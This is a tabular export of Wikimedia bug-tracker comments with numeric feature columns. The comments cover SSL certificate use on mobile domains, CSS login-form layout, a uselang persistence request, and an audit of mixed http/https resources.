164518,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:

How many months to resolve a Critical bug with High priority ?",,,1339593996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-63,True,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5,0.85,"**lambdav** wrote:

How many months to resolve a Critical bug with High priority ?"
164512,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 37024 has been marked as a duplicate of this bug. ***,,,1337704981,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-67,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 37024 has been marked as a duplicate of this bug. ***
164508,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**pfhayes** wrote:

%%%*** Bug 34833 has been marked as a duplicate of this bug. ***%%%",,,1331835104,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-76,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3125,0.5625,"**pfhayes** wrote:

%%%*** Bug 34833 has been marked as a duplicate of this bug. ***%%%"
164505,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 35096 has been marked as a duplicate of this bug. ***,,,1331326730,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 35096 has been marked as a duplicate of this bug. ***
164499,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,RT #2541,,,1330523778,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,RT #2541
36751,Replacing table layout in registration and login forms,"patch for changing from table layout to CSS layout

The login and registration forms are using tables for laying out the page. I propose the attached patch to change it to CSS. The patch also includes the usage of methods (i. e. Html::element()) for creating the form fields instead of embedded HTML. The patch also removes the default type attributes' value to make sure the CSS-selector for ""input type=text"" is working.

--------------------------
**Version**: 1.18.x
**Severity**: normal

**Attached**: {F9123}",Medium,50.0,1330351500,1376928143.0,PHID-USER-viklzrmg5ah3vrnymwin,False,,False,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_description,resolved,True,c2,1,False,False,True,-79,True,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.0,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,9.0,0.0,0.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,7.0,4.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.840139140955838,0.6954022988505747,"patch for changing from table layout to CSS layout

The login and registration forms are using tables for laying out the page. I propose the attached patch to change it to CSS. The patch also includes the usage of methods (i. e. Html::element()) for creating the form fields instead of embedded HTML. The patch also removes the default type attributes' value to make sure the CSS-selector for ""input type=text"" is working.

--------------------------
**Version**: 1.18.x
**Severity**: normal

**Attached**: {F9123}"
170933,Replacing table layout in registration and login forms,Good point. Resolved.,,,1376928143,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.8,Good point. Resolved.
170926,Replacing table layout in registration and login forms,I guess we can resolve this one as the new form doesn't have this problem(s)?!,,,1376927254,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3684210526315788,0.9473684210526315,I guess we can resolve this one as the new form doesn't have this problem(s)?!
170920,Replacing table layout in registration and login forms,"MediaWiki 1.22wmf2 introduces mw-ui- CSS styles for a new vertical form layout. It's currently opt-in for login (try at http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 ).

(In reply to comment #5)
> it would make a lot of sense to migrate this stuff to HTMLForm
That remains to do (some initial work in gerrit 56058) so I'm leaving this bug open.",,,1366310538,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-19,True,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,3.0,13.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3442622950819674,0.819672131147541,"MediaWiki 1.22wmf2 introduces mw-ui- CSS styles for a new vertical form layout. It's currently opt-in for login (try at URL ).

(In reply to comment #5)
QUOTE
That remains to do (some initial work in gerrit 56058) so I'm leaving this bug open."
170913,Replacing table layout in registration and login forms,*** Bug 43108 has been marked as a duplicate of this bug. ***,,,1360827999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 43108 has been marked as a duplicate of this bug. ***
170905,Replacing table layout in registration and login forms,"**sumanah** wrote:

Marking reviewed per comment #5 -- Kai, would you be interested in revising and responding with a Gerrit changeset?  Thanks.",,,1350008351,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,9.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.757575757575758,0.9090909090909091,"**sumanah** wrote:

Marking reviewed per comment #5 -- Kai, would you be interested in revising and responding with a Gerrit changeset?  Thanks."
170898,Replacing table layout in registration and login forms,Obviously not being fixed in the 1.20 tarball.,,,1349023732,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Obviously not being fixed in the 1.20 tarball.
170893,Replacing table layout in registration and login forms,"We shouldn't add that much CSS to the file loaded on every request. Also, HTML generation code is scary (and presently, too) - it would make a lot of sense to migrate this stuff to HTMLForm (there are tentative plans to make it optionally not use tables).",,,1334855256,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-71,True,4.0,0.0,0.0,0.0,4.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,11.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.732142857142857,0.8392857142857143,"We shouldn't add that much CSS to the file loaded on every request. Also, HTML generation code is scary (and presently, too) - it would make a lot of sense to migrate this stuff to HTMLForm (there are tentative plans to make it optionally not use tables)."
170886,Replacing table layout in registration and login forms,"**sumanah** wrote:

Lowered priority to Normal.",,,1330373791,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.7692307692307693,"**sumanah** wrote:

Lowered priority to Normal."
170882,Replacing table layout in registration and login forms,Moar CSS!,,,1330367179,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Moar CSS!
170876,Replacing table layout in registration and login forms,"By the way, this bug has also been mentioned by the accessibility report that was carried out by the swiss foundation ""access for all"".

See paragraph 1.3.1.C1 and 1.3.1.D2 for details.
http://www.thirdageonline.eu/project-tao-2/software-development/mediawiki-accessibility-enhancements/",,,1330355657,,PHID-USER-viklzrmg5ah3vrnymwin,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,8.0,5.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.102564102564102,0.8461538461538461,"By the way, this bug has also been mentioned by the accessibility report that was carried out by the swiss foundation ""access for all"".

See paragraph 1.3.1.C1 and 1.3.1.D2 for details.
URL"
170870,Replacing table layout in registration and login forms,"**sumanah** wrote:

Thanks for the patch, Kai Nissen!  I've added keywords to indicate that this patch awaits review (see https://www.mediawiki.org/wiki/How_to_become_a_MediaWiki_hacker#Submit_your_changes ) and given you Bugzilla privileges so you can add those keywords in the future, if you need to.  Thanks again.",,,1330353841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qqgbtyuqcsk6ngmpusjl,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,5.0,2.0,7.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.7678571428571429,"**sumanah** wrote:

Thanks for the patch, Kai Nissen!  I've added keywords to indicate that this patch awaits review (see URL ) and given you Bugzilla privileges so you can add those keywords in the future, if you need to.  Thanks again."
36748,Making uselang= stick when there is no chance to login,"Let's say we are browsing a 'foreign site'. To make it less foreign, we
must append ""uselang=en"" after each url right there in the URL bar of
our browser.
http://dev.baidu.com/wiki/map/index.php?title=%E7%89%B9%E6%AE%8A:%E7%89%B9%E6%AE%8A%E9%A1%B5%E9%9D%A2&uselang=en

Go ahead and now click on one of the juicy links displayed.

Note how frustrating it is that we are now back in their native language.

After a while this becomes frustrating, and we wish MediaWiki had a
""uselang=en&remember_uselang=1"" or some way to make the @#$! uselang
parameter stick.

Note there is no chance any such business sites would let a user login
to set a preference.

Compare all the effort put into providing translation strings, with this silly barrier to seeing them.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement",Medium,50.0,1330312020,1330366159.0,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_description,declined,True,c2,1,False,False,True,-79,True,2.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,2.5,0.0,4.0,7.5,0.0,1.5,0.5,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.0,3.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,5.0,2.0,6.5,1.0,1.5,9.0,0.0,0.0,0.5,0.0,6.0,0.0,0.5,0.0,5.0,7.5,5.0,0.0,3.0,0.5,5.0,0.0,0.5,3.0,0.5,1.5,0.5,0.0,0.5,3.7621951219512195,0.7195121951219512,"Let's say we are browsing a 'foreign site'. To make it less foreign, we
must append ""uselang=en"" after each url right there in the URL bar of
our browser.
URL

Go ahead and now click on one of the juicy links displayed.

Note how frustrating it is that we are now back in their native language.

After a while this becomes frustrating, and we wish MediaWiki had a
""uselang=en&remember_uselang=1"" or some way to make the @#$! uselang
parameter stick.

Note there is no chance any such business sites would let a user login
to set a preference.

Compare all the effort put into providing translation strings, with this silly barrier to seeing them.

--------------------------
**Version**: 1.20.x
**Severity**: enhancement"
170572,Making uselang= stick when there is no chance to login,"The WHOLE POINT of my bug is that THEY aren't going to be installing anything.

THEY are mostly static read-only documentation sites of various companies.

The hope is that when one encounters one, one can navigate easily from minute one without needing to contact them to find somebody to fix something.

However as the bug is now closed, one must probably go in the 'greasemonkey' direction as is the usual case for such few remaining hostile software.",,,1330387478,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,1.0,3.0,0.0,1.0,1.0,9.0,4.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,1.0,1.0,8.0,15.0,3.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,7.0,15.0,0.0,0.0,2.0,0.0,7.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,4.186813186813187,0.7142857142857143,"The WHOLE POINT of my bug is that THEY aren't going to be installing anything.

THEY are mostly static read-only documentation sites of various companies.

The hope is that when one encounters one, one can navigate easily from minute one without needing to contact them to find somebody to fix something.

However as the bug is now closed, one must probably go in the 'greasemonkey' direction as is the usual case for such few remaining hostile software."
170566,Making uselang= stick when there is no chance to login,"After asking Niklas about this, he points out that they could install the LanguageSelector https://www.mediawiki.org/wiki/Extension:LanguageSelector",,,1330366159,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,25.0,19.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,1.0,"After asking Niklas about this, he points out that they could install the LanguageSelector URL"
170558,Making uselang= stick when there is no chance to login,"This (remembering uselang) would be an awesome bit, imo.  Siebrand, Niklas, what do you think?",,,1330365559,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-bfb4ig3ja4douhwcrh6e,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,13.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.4782608695652173,0.9130434782608695,"This (remembering uselang) would be an awesome bit, imo.  Siebrand, Niklas, what do you think?"
36670,Check all wikis for inclusions of http resources on https,"Per IRC, it was noted numerous sites were including arbitrary http files in CSS, JS and otherwise which isn't good.

If we can gather a list of offending wikis, we can look at trying to fix them up.

Visiting the main page on all wikis via HTTPS should be enough
",Medium,50.0,1330050000,1586186202.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-dpocfkqirsjrev23x7kp,task_description,resolved,True,c2,1,True,True,False,-79,True,2.0,0.0,0.0,2.0,2.0,8.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,3.6610169491525424,0.8813559322033898,"Per IRC, it was noted numerous sites were including arbitrary http files in CSS, JS and otherwise which isn't good.

If we can gather a list of offending wikis, we can look at trying to fix them up.

Visiting the main page on all wikis via HTTPS should be enough
"
1478984,Check all wikis for inclusions of http resources on https,">>! In T36670#6029734, @Krinkle wrote:
> This is probably obsolete nowadays. But will let Security Team triage and keep, merge or close accordingly :)

Ditto

>>! In T249466#6030705, @Legoktm wrote:
> Also see https://integration.wikimedia.org/ci/job/audit-resources/ which runs every day

And CSP stuff seems to cover this",,,1586186202,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,3,True,,,344,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,41.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.6470588235294118,"QUOTE
QUOTE

Ditto

QUOTE
QUOTE

And CSP stuff seems to cover this"
